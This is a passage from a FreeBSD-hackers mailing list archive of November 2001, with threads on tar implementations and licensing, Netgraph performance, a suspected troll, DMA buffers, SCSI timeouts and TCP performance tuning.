Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > >> Of course, if you only know GNUtar Star's standard option handling > >> _may_ look strange. But then why did FreBSD switch to GNUtar instead > >> of keeping a real tar? > > >Because there didn't exist a real tar at the time that FreeBSD was > >created. > > Well this is from BSD-4.3: [ SNIP ] > ... And it has no Copyright AT&T inside. > That may be, but at the time FreeBSD was created (so many years ago), there was no 'real' tar to choose from. BSD-4.3 tar was not available publically. I'm not sure it's available even now publically. (Is it part of 4.4-Lite/Lite2?) We tried a number of different versions of tar to distribute initially (including the one from Minix, who Andrew Tanenbaum graciously gave us permission to use), but we decided that GNU-tar was the best of the available versions. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12:36:22 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id 10BFB37B405 for ; Thu, 29 Nov 2001 12:36:19 -0800 (PST) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.6/8.11.6) with ESMTP id fATKYf902658; Thu, 29 Nov 2001 21:34:46 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: John Polstra Cc: hackers@FreeBSD.ORG, julian@elischer.org Subject: Re: Netgraph performance In-Reply-To: Your message of "Thu, 29 Nov 2001 12:14:48 PST." <200111292014.fATKEmI70068@vashon.polstra.com> Date: Thu, 29 Nov 2001 21:34:41 +0100 Message-ID: <2656.1007066081@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message <200111292014.fATKEmI70068@vashon.polstra.com>, John Polstra writes: >In article , >Julian Elischer wrote: >> Netgraph is a prototyping tool, which has enough performance to be >> useful in non-performance-critical applications. (such as all sync >> interfaces). It is not designed for gigabit interfaces etc. > >You are selling Netgraph way too short. I've been using it >intensively with gigabit interfaces, and it performs very, very well. >For my application (which involves generating and responding to a >whole bunch of network traffic) it has yielded a good 4-5 times better >performance than any other alternative I've found. I have to agree here. Netgraph has some shortcomings, but performance is not one of them. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12:40:26 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from InterJet.elischer.org (c421509-a.pinol1.sfba.home.com [24.7.86.9]) by hub.freebsd.org (Postfix) with ESMTP id C459937B417 for ; Thu, 29 Nov 2001 12:40:21 -0800 (PST) Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id MAA21322; Thu, 29 Nov 2001 12:27:38 -0800 (PST) Date: Thu, 29 Nov 2001 12:27:37 -0800 (PST) From: Julian Elischer To: John Polstra Cc: hackers@freebsd.org Subject: Re: Netgraph performance In-Reply-To: <200111292014.fATKEmI70068@vashon.polstra.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks! :-) The fact that it works in high speed applications is a pleasant side effect of the fact that we tried REALLY HARD to make if low-ish overhead, but we really originally wrote it for T1 speed devices (and lower). The main design goal was to try make it easy for people to reconfigure it in ways we hadn't thought of and to make new modules to extend it. (also to avoid having a special control program for each new kind of node). On Thu, 29 Nov 2001, John Polstra wrote: > In article , > Julian Elischer wrote: > > Netgraph is a prototyping tool, which has enough performance to be > > useful in non-performance-critical applications. (such as all sync > > interfaces). It is not designed for gigabit interfaces etc. >=20 > You are selling Netgraph way too short. I've been using it > intensively with gigabit interfaces, and it performs very, very well. > For my application (which involves generating and responding to a > whole bunch of network traffic) it has yielded a good 4-5 times better > performance than any other alternative I've found. >=20 > John > --=20 > John Polstra > John D. Polstra & Co., Inc. Seattle, Washington = USA > "Disappointment is a good sign of basic intelligence." -- Ch=F6gyam Tr= ungpa >=20 >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12:44:21 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from web21107.mail.yahoo.com (web21107.mail.yahoo.com [216.136.227.109]) by hub.freebsd.org (Postfix) with SMTP id AE82F37B405 for ; Thu, 29 Nov 2001 12:44:18 -0800 (PST) Message-ID: <20011129204418.91515.qmail@web21107.mail.yahoo.com> Received: from [62.254.0.4] by web21107.mail.yahoo.com via HTTP; Thu, 29 Nov 2001 12:44:18 PST Date: Thu, 29 Nov 2001 12:44:18 -0800 (PST) From: Hiten Pandya Subject: RE: (no subject) To: hackers@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi, i am butting in the argument half way but... although i am new to FreeBSD... what i am saying is... even if intel's driver is better... i dont care about that because... after all, thats their device... so.. of course they will make the device driver better ecause they were the ones who made the device in the first place... but in time.. the ng driver will become good as well... after all... we are quite far away from releasing 5.0... regards.. Yours Sincerely, Hiten Pandya __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12:49:30 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from turtle.looksharp.net (cc360882-d.strhg1.mi.home.com [24.13.43.207]) by hub.freebsd.org (Postfix) with ESMTP id AFA2237B416 for ; Thu, 29 Nov 2001 12:49:24 -0800 (PST) Received: by turtle.looksharp.net (Postfix, from userid 1003) id 56C253EB9; Thu, 29 Nov 2001 15:50:00 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by turtle.looksharp.net (Postfix) with ESMTP id 53D9ABAA5; Thu, 29 Nov 2001 15:50:00 -0500 (EST) Date: Thu, 29 Nov 2001 15:50:00 -0500 (EST) From: "Brandon D. Valentine" To: Christian Weisgerber Cc: Subject: Re: tar and nodump flag In-Reply-To: <9u5ied$1fjf$1@kemoauc.mips.inka.de> Message-ID: <20011129153648.P33262-100000@turtle.looksharp.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 29 Nov 2001, Christian Weisgerber wrote: >- It doesn't support incremental backups. That isn't a problem in > itself, but it's a feature our GNU tar currently has and people > probably don't want to lose. It's a feature that is essential that FreeBSD doesn't lose IMO. Those of us who use tar w/ amanda to backup FreeBSD boxes know how crucial the ability to make incremental backups of filesystems can be. It's bad enough I can't use the stock GNUtar in RELENG_4 with amanda since it's a very old version with buggy indexing. Even my IRIX boxes come with GNUtar 1.13 in the freeware distribution. Our base system having 1.11.2 is unfortunate. The indexing bugs weren't worked out until around GNUtar 1.13.19 and 1.13.25 is out and quite stable. If anything I would prefer to see inclusion of a newer version of GNUtar in the base system. Yes, the license issue is unfortunate, but to me GNUtar would be in the same category as GCC, there's just no alternative featureful enough. Granted, my opinion has little weight around here, but hopefully it's of some use to provide insight into what FreeBSD users need out of tar. Brandon D. Valentine -- "Iam mens praetrepidans avet vagari." - G. Valerius Catullus, Carmina, XLVI To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12:50:15 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id 9B44C37B416; Thu, 29 Nov 2001 12:50:08 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id 340DE81D05; Thu, 29 Nov 2001 14:50:03 -0600 (CST) Date: Thu, 29 Nov 2001 14:50:03 -0600 From: Alfred Perlstein To: Eric Melville Cc: Nyteckjobs@aol.com, freebsd-hackers@freebsd.org, freebsd-questions@freebsd.org, tedm@toybox.placo.com Subject: Re: (no subject) Message-ID: <20011129145003.V46769@elvis.mu.org> References: <14e.4d05ff7.29371325@aol.com> <20011129115909.A75251@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011129115909.A75251@FreeBSD.org>; from eric@FreeBSD.org on Thu, Nov 29, 2001 at 11:59:09AM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Eric Melville [011129 13:59] wrote: > > The concept that "netgraph hooks" are a "leg up" on say, ETs drivers that > > have integrated bandwidth management and prioritization, WAN bridging > > support, load balancing and a probably 25% performance advantage is a bit > > entertaining. Unless you need to do some convoluted encapsulation netgraph > > is, aside from being appallingly non-standard to anything else in the market, > > not much of an "advantage", and its a poster child for the trade off of > > "flexibility" versus performance. > > > > Lets face it. If you were going to sit down and design an interface for frame > > relay, multi-protocol support, etc, you'd have to be smoking something pretty > > strong to come up with netgraph. But its free and there is source, so it > > must be great! > > Dennis, if you are going to continue trolling FreeBSD mailing lists from > your AOL account, you should really consider choosing a name that does not > coincide with what we already know or can easily find out about you. Just for historical reasons I have a question... Is Dennis and Elder Troll or was he cast of the fire and brimstone of the BSDi dissolution? -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 13: 7:41 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id 08A0A37B41A; Thu, 29 Nov 2001 13:07:37 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1098) id A91EC81D04; Thu, 29 Nov 2001 15:07:36 -0600 (CST) Date: Thu, 29 Nov 2001 15:07:36 -0600 From: Bill Fumerola To: Nyteckjobs@aol.com Cc: freebsd-hackers@freebsd.org, freebsd-questions@freebsd.org Subject: Re: (no subject) Message-ID: <20011129150736.E32521@elvis.mu.org> Reply-To: billf@FreeBSD.org References: <14e.4d05ff7.29371325@aol.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <14e.4d05ff7.29371325@aol.com>; from Nyteckjobs@aol.com on Wed, Nov 28, 2001 at 11:27:17PM -0500 X-Operating-System: FreeBSD 4.4-FEARSOME-20011125 i386 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 28, 2001 at 11:27:17PM -0500, Nyteckjobs@aol.com wrote: > Lets face it. If you were going to sit down and design an interface for frame > relay, multi-protocol support, etc, you'd have to be smoking something pretty > strong to come up with netgraph. But its free and there is source, so it > must be great! dennis, Keep making accounts. We have lots of disk space on hub.freebsd.org to hold all of them in the filters. I even have a couple of spare disks I'll throw in if that becomes a problem. Since the project has made it abundantly clear that your trolling is not only unsolicited but unwelcome, please do not waste the resources of FreeBSD.org or its uplink by continuing to send mail to our lists. looking forward to having your reply blackholed, -- bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 13: 8:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by hub.freebsd.org (Postfix) with ESMTP id DF2E937B419 for ; Thu, 29 Nov 2001 13:08:03 -0800 (PST) Received: from burner.fokus.gmd.de (burner [193.175.133.116]) by mailhub.fokus.gmd.de (8.11.6/8.11.6) with ESMTP id fATKxfH23566; Thu, 29 Nov 2001 21:59:41 +0100 (MET) Received: (from jes@localhost) by burner.fokus.gmd.de (8.11.4+Sun/8.11.4) id fATKx6p25730; Thu, 29 Nov 2001 21:59:06 +0100 (MET) Date: Thu, 29 Nov 2001 21:59:06 +0100 (MET) From: Joerg Schilling Message-Id: <200111292059.fATKx6p25730@burner.fokus.gmd.de> To: nate@yogotech.com, schilling@fokus.gmd.de Cc: brandt@fokus.gmd.de, freebsd-hackers@freebsd.org, jes@fokus.gmd.de, tofergus@yahoo.co.uk Subject: Re: tar and nodump flag (fwd) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >From nate@yogotech.com Thu Nov 29 21:25:58 2001 >> >> Of course, if you only know GNUtar Star's standard option handling >> >> _may_ look strange. But then why did FreBSD switch to GNUtar instead >> >> of keeping a real tar? >> >> >Because there didn't exist a real tar at the time that FreeBSD was >> >created. >> >> Well this is from BSD-4.3: >[ SNIP ] >> ... And it has no Copyright AT&T inside. >> >That may be, but at the time FreeBSD was created (so many years ago), >there was no 'real' tar to choose from. BSD-4.3 tar was not available >publically. I'm not sure it's available even now publically. (Is it >part of 4.4-Lite/Lite2?) Look at ..../old/tar/* it is there... The first version is from user 'bill' ^Ac date and time created 80/10/01 17:28:49 by bill Don't know who this is... Bill Joy is 'wnj' ... There is even a SCCS log from Guy Haris at Sun in there ,-) >We tried a number of different versions of tar to distribute initially >(including the one from Minix, who Andrew Tanenbaum graciously gave us >permission to use), but we decided that GNU-tar was the best of the >available versions. GNUtar has been OK in 1987 when it has been first published as PD-tar & SUG-tar. SUG is Sun User Group. I had the same intention (publish star at the SUG december 1987) but for some reason I didn't. In 1987, SUGtar was implementing a true subset of the POSIX draft. It missed long path names via the path prefix. Then in 1989 it has been adopted by FSF and at his time they started to make it be called GNUtar and using up the 'prefix' space inside the tar header in a way that is incompatible with the POSIX standard. I did it the other way round: Star has been written as 'mtar' in 1982 to be able to extract a tape with modula compiler sources on UNOS (a real time UNIX clone). At this time I only had the tape and needed to guess about the header fields. In 1985 I made it a full blown tar to be able to transport files from UNOS to SunOS. In 1985 I renamed it to 'star' (schily tar) and added a bit (nonstard) code to archive all types of files (e.g. from /dev/*). In 1993 I renamed it to 'star' (Standard tar) and implemented POSIX compatibility. I was in luck as my 1985 extensions do not give interoperability problems with POSIX tar. Unfortunately, in 2001 11 years after the POSIX standard has been accepted GNU tar is still not able to read/write USTAR archives correctly. Jörg EMail:joerg@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin js@cs.tu-berlin.de (uni) If you don't have iso-8859-1 schilling@fokus.gmd.de (work) chars I am J"org Schilling URL: http://www.fokus.gmd.de/usr/schilling ftp://ftp.fokus.gmd.de/pub/unix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 13:34:19 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from web.cs.ndsu.nodak.edu (web.cs.ndsu.NoDak.edu [134.129.125.7]) by hub.freebsd.org (Postfix) with ESMTP id 5962837B416 for ; Thu, 29 Nov 2001 13:34:16 -0800 (PST) Received: (from tinguely@localhost) by web.cs.ndsu.nodak.edu (8.11.4/8.11.4) id fATLYFn42233; Thu, 29 Nov 2001 15:34:15 -0600 (CST) (envelope-from tinguely) Date: Thu, 29 Nov 2001 15:34:15 -0600 (CST) From: mark tinguely Message-Id: <200111292134.fATLYFn42233@web.cs.ndsu.nodak.edu> To: freebsd-hackers@FreeBSD.ORG, zzhang@cs.binghamton.edu Subject: Re: contiguous memory of a buffer In-Reply-To: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I am wondering whether we need contiguous memory for a PHYSICAL buffer to > perform the DMA I/O. yes. The DMA request should either not cross a physical page or if the request does cross a physical page, those pages must be contiguous. the exception to this is if your DMA card has a memory management unit, and you are sharing the same virtual to physical map with the MMU and the host memory allocation space (for a driver, the kernel physical map). --mark tinguely. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 14: 6:40 2001 Delivered-To: freebsd-hackers@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 885) id 1E9FB37B405; Thu, 29 Nov 2001 14:06:37 -0800 (PST) Date: Thu, 29 Nov 2001 14:06:37 -0800 From: Eric Melville To: Alfred Perlstein Cc: Nyteckjobs@aol.com, freebsd-hackers@freebsd.org, freebsd-questions@freebsd.org, tedm@toybox.placo.com Subject: Re: (no subject) Message-ID: <20011129140637.A94564@FreeBSD.org> References: <14e.4d05ff7.29371325@aol.com> <20011129115909.A75251@FreeBSD.org> <20011129145003.V46769@elvis.mu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011129145003.V46769@elvis.mu.org>; from bright@mu.org on Thu, Nov 29, 2001 at 02:50:03PM -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Just for historical reasons I have a question... > > Is Dennis and Elder Troll or was he cast of the fire and brimstone > of the BSDi dissolution? Dennis does something along the lines of building wan cards and selling them for a number of systems, including FreeBSD. The ironic part, of course, is that he likes to fight with the very people that are creating his market. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 14:11: 1 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp013.mail.yahoo.com (smtp013.mail.yahoo.com [216.136.173.57]) by hub.freebsd.org (Postfix) with SMTP id 40CE037B416 for ; Thu, 29 Nov 2001 14:10:52 -0800 (PST) Received: from mkc-65-30-96-67.kc.rr.com (HELO yahoo.com) (65.30.96.67) by smtp.mail.vip.sc5.yahoo.com with SMTP; 29 Nov 2001 21:50:22 -0000 Message-ID: <3C06AD98.3070605@yahoo.com> Date: Thu, 29 Nov 2001 15:50:16 -0600 From: Jim Bryant Reply-To: kc5vdj@yahoo.com User-Agent: Mozilla/5.0 (X11; U; Linux i386; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: fergus Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: tar and nodump flag References: <15363.38257.236253.85237@hyde.lpds.sublink.org> <20011127144343.W421-100000@beagle.fokus.gmd.de> <9u5ied$1fjf$1@kemoauc.mips.inka.de> <20011129161126.C1163@dedog.argus-systems.co.uk> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG fergus wrote: >>>- It doesn't support incremental backups. That isn't a problem in >> itself, but it's a feature our GNU tar currently has and people >> probably don't want to lose. I dunno... The entire incremental thing in tar is dependant on NOT using compression, which IMHO makes it pretty useless, especially if you prefer the much tighter software compression you get from gzip. jim -- ET has one helluva sense of humor! He's always anal-probing right-wing schizos! ----------------------------------------------------- POWER TO THE PEOPLE! ----------------------------------------------------- "Religious fundamentalism is the biggest threat to international security that exists today." United Nations Secretary General B.B.Ghali, 1995 _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 15:33:24 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bingnet2.cc.binghamton.edu (bingnet2.cc.binghamton.edu [128.226.1.18]) by hub.freebsd.org (Postfix) with ESMTP id 451E737B41A for ; Thu, 29 Nov 2001 15:33:13 -0800 (PST) Received: from opal (cs.binghamton.edu [128.226.123.101]) by bingnet2.cc.binghamton.edu (8.11.6/8.11.6) with ESMTP id fATNXBS20081 for ; Thu, 29 Nov 2001 18:33:11 -0500 (EST) Date: Thu, 29 Nov 2001 18:33:11 -0500 (EST) From: Zhihui Zhang X-Sender: zzhang@opal To: freebsd-hackers@freebsd.org Subject: Timedout SCB already complete Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG While running my KLD that does a lot of I/O, I see the following message: ahc0: Timedout SCB already complete. interrupts may not be functioning. This happens after my KLD runs a while. What could be the problem? Where could the bugs likely exist? Thanks for any clue. -Zhihui To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 15:46:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from services.webwarrior.net (overlord-host99.dsl.visi.com [209.98.86.99]) by hub.freebsd.org (Postfix) with ESMTP id 8834D37B417 for ; Thu, 29 Nov 2001 15:46:32 -0800 (PST) Received: from twincat.vladsempire.net (hutch-350.hutchtel.net [206.10.68.50]) by services.webwarrior.net (Postfix) with ESMTP id F1E39197 for ; Thu, 29 Nov 2001 17:48:04 -0600 (CST) Received: by twincat.vladsempire.net (Postfix, from userid 1001) id 93159385C; Thu, 29 Nov 2001 17:46:31 +0000 (GMT) Date: Thu, 29 Nov 2001 17:46:31 +0000 From: Josh Paetzel To: Nate Williams Cc: jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011129174631.E522@twincat.vladsempire.net> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <15366.27622.717200.798581@caddis.yogotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15366.27622.717200.798581@caddis.yogotech.com>; from nate@yogotech.com on Thu, Nov 29, 2001 at 10:09:58AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 29, 2001 at 10:09:58AM -0700, Nate Williams wrote: > > I started noticing some TCP weirdness when I moved my bandwidth > > stats site from my office to my colo facility last week. The colo > > is five miles away by road and 1200 miles away by network. Netscape > > would stop for seconds at a time while loading the graph images but > > there was no consistency. Worked properly sometimes and sometimes > > not. > > Thanks for the much more detailed bug report vs. mine. Can you try > disabling delayed acks to see if that helps, per another poster's > response to this thread? > > sysctl net.inet.tcp.delayed_ack=0 > I tried this out and it made no difference whatsoever. I also tried out moving the same file via NFS and get transfer times that are within 5 seconds of the FTP times. I am beginning to suspect that I have a hardware issue here. Josh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 16: 4: 8 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fasterix.frmug.org (s196.dhcp212-75.cybercable.fr [212.198.75.196]) by hub.freebsd.org (Postfix) with ESMTP id 1F85D37B416 for ; Thu, 29 Nov 2001 16:04:05 -0800 (PST) Received: (from pb@localhost) by fasterix.frmug.org (8.11.6/8.11.5/pb-20010814) id fAU03sM21485; Fri, 30 Nov 2001 01:03:54 +0100 (CET) (envelope-from pb) Message-ID: <20011130010354.A21307@fasterix.frmug.org> Date: Fri, 30 Nov 2001 01:03:54 +0100 From: Pierre Beyssac To: jc@irbs.com, freebsd-hackers@FreeBSD.org Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.92.8i In-Reply-To: <20011129004234.A16101@exuma.irbs.com>; from John Capo on Thu, Nov 29, 2001 at 12:42:34AM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 29, 2001 at 12:42:34AM -0500, John Capo wrote: > sent. find / -print | dd obs=1 will screw up within a few seconds > and stay that way. Netstat in another ssh session shows data ready > to go: Hmm, some ssh versions tend to hang randomly on lossy links (in the protocol perhaps, but I haven't ever tried to investigate this). Could you try the same in a telnet or rsh connection? I bet it will work. Pierre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 16:38:29 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from imo-d07.mx.aol.com (imo-d07.mx.aol.com [205.188.157.39]) by hub.freebsd.org (Postfix) with ESMTP id 644DD37B419; Thu, 29 Nov 2001 16:38:23 -0800 (PST) Received: from A180009977889@aol.com by imo-d07.mx.aol.com (mail_out_v31_r1.9.) id n.fd.fd1f0de (1324); Thu, 29 Nov 2001 19:38:13 -0500 (EST) From: A180009977889@aol.com Message-ID: Date: Thu, 29 Nov 2001 19:38:13 EST Subject: RE: Intel gigabit Driver To: hackers@freebsd.org Cc: isp@freebsd.org, tedm@toybox.placo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 139 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In a message dated 11/29/2001 7:16:17 AM Eastern Standard Time, tedm@toybox.placo.com writes: > Well, let me give you something else to put in your pipe and smoke. :-) > > I've spent about $800 on a few WANic 4xx cards (used, I'll grant) precisely > because > source for the driver is available. I happen to not use them with Frame > circuits so > I used the HDLC in the driver. > > I have spent $0.00 on ET cards precisely because the driver code is > unavailable. > > Now, as I've never used ET cards, I'll take your statement at face value > that > their drivers are superior to the WANic one. > But, I'm not going to pick a superior binary-only driver over an inferior source-freely-available driver, if I have a choice. You may think this is screwy but it's how I feel. You are entitled to your opinion, but you (and others) should explain that when you are making "recommendations" because Im sure there are those that actually think that you are recommending the best solution, which clearly isnt the case. Most people prefer a boom-box to a crystal set, and those reading your opinions don't understand that context. I seem to remember reading in some book that the main advantage FreeBSD has over linux is its corporate-friendly license (who wrote that thing anyway?)...yet you bash the concept of using the license. It seems a bit hypocritcal to me. DB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 16:44: 6 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from imo-m03.mx.aol.com (imo-m03.mx.aol.com [64.12.136.6]) by hub.freebsd.org (Postfix) with ESMTP id EB2A937B41A; Thu, 29 Nov 2001 16:44:01 -0800 (PST) Received: from A180009977889@aol.com by imo-m03.mx.aol.com (mail_out_v31_r1.9.) id n.10e.8fb0dc1 (1332); Thu, 29 Nov 2001 19:43:53 -0500 (EST) From: A180009977889@aol.com Message-ID: <10e.8fb0dc1.29383049@aol.com> Date: Thu, 29 Nov 2001 19:43:53 EST Subject: RE: Netgraph To: hackers@freebsd.org Cc: questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 139 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In a message dated 11/29/2001 7:30:46 AM Eastern Standard Time, joe@tao.org.uk writes: > > Lets face it. If you were going to sit down and design an interface for > frame > > relay, multi-protocol support, etc, you'd have to be smoking something > pretty > > strong to come up with netgraph. But its free and there is source, so it > > must be great! > > Please please please! Have you read the source code for netgraph? It > may be unintentional on your part but the above paragraph reads like > you've made an assumption about what netgraph is and how it works and > have decided that it's inefficient and therefore of not much use. > > Netgraph is great, but not because it's free and there is source. It's > great because conceptually it's like lego, and in effeciency it's very > quick. Netgraph hooks in device drivers are extremely useful. > "Lego" is a good analogy. The "usefulness" is not the point. Its great for hackers, and terrible for the general technical population. It depends on your goal, whether its to build an OS for hackers, or to gain widespread acceptance for 